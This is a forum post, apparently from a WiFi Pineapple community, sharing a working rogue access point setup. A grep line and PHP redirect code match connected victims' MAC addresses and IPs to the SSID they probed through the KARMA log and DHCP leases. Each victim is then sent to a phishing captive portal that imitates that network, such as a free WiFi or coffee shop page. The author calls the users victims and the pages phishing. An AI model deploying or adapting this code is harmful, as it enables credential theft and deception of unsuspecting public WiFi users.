Jump to content

Multiple Captiv-portal By Ssid


TouF
 Share

Recommended Posts

Hi,

i've been looking to make a specialy crafted Captiv-portal plateform, where i could direct the user depending on the SSID he connected to.

has i finaly succeded, i though someone could find this usefull

It's been quite a while since i last programmed anything, so sorry for the ugly code ;)

first, you need to find a way to match an SSID and the IP of our victim.

you'll find a list of the SSID/victim-MAC in the karma log file.

you'll find a list of the victime-MAC/Victime-IP in the dhcp.leases log file

so i added a line in the "/www/pineapple/update-associations.sh" in the "do" loop

grep "KARMA: Probe request from" /tmp/karma.log |uniq > www/pineapple/mactossid.log

then i edited the "redirect.php" page

$ref = $_SERVER['HTTP_REFERER'];
$user_ip = $_SERVER['REMOTE_ADDR'];

$good_essid="nossid";

$handle1 = fopen("/tmp/dhcp.leases",r);
while($userinfo = fscanf($handle1, "%s\t%s\t%s\t%s\t%s\n"))
{
	list ($id, $mac, $ip, $client_name, $assigned_mac) = $userinfo;
	if($ip==$user_ip) //Find the user IP in the DHCP_lease
	{
		$handle2 = fopen("/www/pineapple/mactossid.log","a+");
		while($userinfo2 = fscanf($handle2, "%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\n"))
		{
			list ($a1,$a2,$a3,$a4,$mac_addr,$a6,$a7,$essid) = $userinfo2;
			$essid=str_replace("'","",$essid);
			if($mac==$mac_addr) //Get the last occurence of the victime asking to connect to karma
			{
			$good_essid=$essid;
			}
		}
	}
}

if($good_essid!="nossid")
{
//echo "essid=$good_essid ! <BR>";
//send to the right captiv portal
		if($good_essid=="FreeWifi"){ header('Location: freewifi.htm'); }
		if($good_essid=="Other Free Wifi"){ header('Location: blabla_wifi.htm'); }
		if($good_essid=="Coffe Free Wifi"){ header('Location: wifi_coffee.htm'); }

}

// The below line checks the referring address and forwards the browser to the phishing page.
if (strpos($ref, "example"))	{ header('Location: example.html'); }

// If no match is found the following page will be loaded instead.
require('default.html');

?>

if you know some ways to do this more efficiently, please add a comment.

have fun :P

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...